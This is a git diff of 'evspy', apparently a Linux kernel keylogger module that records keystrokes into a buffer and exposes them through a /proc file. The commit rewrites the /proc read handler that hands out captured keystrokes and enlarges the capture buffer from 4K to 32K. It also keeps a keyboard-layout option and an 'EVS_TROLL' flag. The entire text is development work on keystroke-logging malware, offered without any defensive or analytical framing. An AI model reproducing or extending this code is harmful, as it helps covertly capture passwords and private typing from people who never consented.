diff options
-rw-r--r-- | evspy-core.c | 10 | ||||
-rw-r--r-- | evspy.h | 8 |
2 files changed, 9 insertions, 9 deletions
diff --git a/evspy-core.c b/evspy-core.c index 650015e..b0c0d4b 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -50,12 +50,12 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, return -EPERM; #endif } else { // copy fifo contents to the supplied buffer - n = kfifo_out(&cbuffer, page, count); - - if (kfifo_is_empty(&cbuffer)) + if (offset > 0) { *eof = 1; - - return n; + return 0; + } else { + return kfifo_out(&cbuffer, page, min((int)PAGE_SIZE, count)); + } } } @@ -41,10 +41,10 @@ #define EVS_KLAY_EN 0 #define EVS_KLAY_ES 1 -#define EVS_NAME "evspy" // driver name -#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout -#define EVS_TROLL 1 // clear this if you're a serious guy -#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) +#define EVS_NAME "evspy" // driver name +#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout +#define EVS_TROLL 1 // clear this if you're a serious guy +#define EVS_BUFSIZE (1<<15) // 32K // size of the circular buffer #define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc #include "maps/maps.h" |